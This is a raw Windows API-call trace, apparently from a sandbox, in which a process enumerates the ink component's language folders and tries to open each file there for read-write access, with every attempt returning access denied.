[0142.298] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="da-DK", cAlternateFileName="")) returned 1 [0142.298] GetProcessHeap () returned 0x2a0000 [0142.298] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x82) returned 0x2ed368 [0142.298] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\*.*", lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2c63a0 [0142.299] GetProcessHeap () returned 0x2a0000 [0142.299] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ed368 | out: hHeap=0x2a0000) returned 1 [0142.299] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0142.299] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6fbc310, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe71ab4c9, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe71d1626, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0142.299] GetProcessHeap () returned 0x2a0000 [0142.299] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x284) returned 0x2f32d0 [0142.299] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\da-dk\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0142.299] GetLastError () returned 0x5 [0142.299] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6fbc310, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe71ab4c9, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe71d1626, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0142.299] FindClose (in: hFindFile=0x2c63a0 | out: hFindFile=0x2c63a0) returned 1 [0142.300] GetProcessHeap () returned 0x2a0000 [0142.300] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f32d0 | out: hHeap=0x2a0000) returned 1 [0142.300] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="de-DE", cAlternateFileName="")) returned 1 [0142.300] GetProcessHeap () returned 0x2a0000 [0142.300] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x82) returned 0x2ed368 [0142.300] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\*.*", lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2c63a0 [0142.301] GetProcessHeap () returned 0x2a0000 [0142.301] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ed368 | out: hHeap=0x2a0000) returned 1 [0142.301] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0142.301] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe728fcf7, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe74cb16a, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe74cb16a, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0142.301] GetProcessHeap () returned 0x2a0000 [0142.301] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x284) returned 0x2f32d0 [0142.301] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\de-de\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0142.307] GetLastError () returned 0x5 [0142.307] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe728fcf7, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe74cb16a, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe74cb16a, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0142.307] FindClose (in: hFindFile=0x2c63a0 | out: hFindFile=0x2c63a0) returned 1 [0142.308] GetProcessHeap () returned 0x2a0000 [0142.308] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f32d0 | out: hHeap=0x2a0000) returned 1 [0142.308] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="el-GR", cAlternateFileName="")) returned 1 [0142.308] GetProcessHeap () returned 0x2a0000 [0142.308] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x82) returned 0x2ed368 [0142.308] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\el-GR\\*.*", lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2c63a0 [0142.308] GetProcessHeap () returned 0x2a0000 [0142.308] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ed368 | out: hHeap=0x2a0000) returned 1 [0142.308] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0142.309] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe31667d9, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe337baef, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe337baef, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0142.309] GetProcessHeap () returned 0x2a0000 [0142.309] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x284) returned 0x2f32d0 [0142.309] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\el-GR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\el-gr\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0142.309] GetLastError () returned 0x5 [0142.309] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe31667d9, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe337baef, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe337baef, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0142.309] FindClose (in: hFindFile=0x2c63a0 | out: hFindFile=0x2c63a0) returned 1 [0142.309] GetProcessHeap () returned 0x2a0000 [0142.309] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f32d0 | out: hHeap=0x2a0000) returned 1 [0142.309] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e0df36a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="en-US", cAlternateFileName="")) returned 1 [0142.309] GetProcessHeap () returned 0x2a0000 [0142.309] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x82) returned 0x2ed368 [0142.309] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\*.*", lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e0df36a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2c63a0 [0142.311] GetProcessHeap () returned 0x2a0000 [0142.311] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ed368 | out: hHeap=0x2a0000) returned 1 [0142.311] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e0df36a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0142.311] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a407849, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x9a407849, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x9a407849, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x15e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="boxed-correct.avi", cAlternateFileName="")) returned 1 [0142.311] GetProcessHeap () returned 0x2a0000 [0142.312] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x284) returned 0x2f32d0 [0142.312] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0142.313] GetLastError () returned 0x5 [0142.313] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x23b3de0, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x23b3de0, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9a49fdc1, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x7c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="boxed-delete.avi", cAlternateFileName="")) returned 1 [0142.313] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0142.313] GetLastError () returned 0x5 [0142.314] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x23d9f3d, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x23d9f3d, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9a4c5f1f, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x8200, dwReserved0=0x0, dwReserved1=0x0, cFileName="boxed-join.avi", cAlternateFileName="")) returned 1 [0142.314] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0142.314] GetLastError () returned 0x5 [0142.314] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24261f7, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x24261f7, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9a538339, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xf600, dwReserved0=0x0, dwReserved1=0x0, cFileName="boxed-split.avi", cAlternateFileName="")) returned 1 [0142.314] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0142.314] GetLastError () returned 0x5 [0142.314] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x244c354, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x244c354, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9a55e497, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x30200, dwReserved0=0x0, dwReserved1=0x0, cFileName="correct.avi", cAlternateFileName="")) returned 1 [0142.314] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0142.314] GetLastError () returned 0x5 [0142.314] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24be76b, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x24be76b, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9a5845f5, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x36c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="delete.avi", cAlternateFileName="")) returned 1 [0142.315] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\delete.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0142.315] GetLastError () returned 0x5 [0142.316] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2200, dwReserved0=0x0, dwReserved1=0x0, cFileName="FlickLearningWizard.exe.mui", cAlternateFileName="")) returned 1 [0142.316] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\FlickLearningWizard.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\flicklearningwizard.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0142.316] GetLastError () returned 0x5 [0142.316] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdc8723b, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xe067905, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xdc8723b, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1200, dwReserved0=0x0, dwReserved1=0x0, cFileName="InkObj.dll.mui", cAlternateFileName="")) returned 1 [0142.317] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkObj.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inkobj.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0142.317] GetLastError () returned 0x5 [0142.317] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2400, dwReserved0=0x0, dwReserved1=0x0, cFileName="InkWatson.exe.mui", cAlternateFileName="")) returned 1 [0142.317] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkWatson.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inkwatson.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0142.318] GetLastError () returned 0x5 [0142.318] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="InputPersonalization.exe.mui", cAlternateFileName="")) returned 1 [0142.318] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InputPersonalization.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inputpersonalization.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0142.319] GetLastError () returned 0x5 [0142.319] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x5800, dwReserved0=0x0, dwReserved1=0x0, cFileName="IPSEventLogMsg.dll.mui", cAlternateFileName="")) returned 1 [0142.319] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IPSEventLogMsg.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\ipseventlogmsg.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0142.319] GetLastError () returned 0x5 [0142.319] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="IpsMigrationPlugin.dll.mui", cAlternateFileName="")) returned 1 [0142.319] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\ipsmigrationplugin.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0142.319] GetLastError () returned 0x5 [0142.319] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x250aa25, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x250aa25, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9a5aa753, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x36400, dwReserved0=0x0, dwReserved1=0x0, cFileName="join.avi", cAlternateFileName="")) returned 1 [0142.319] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\join.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0142.319] GetLastError () returned 0x5 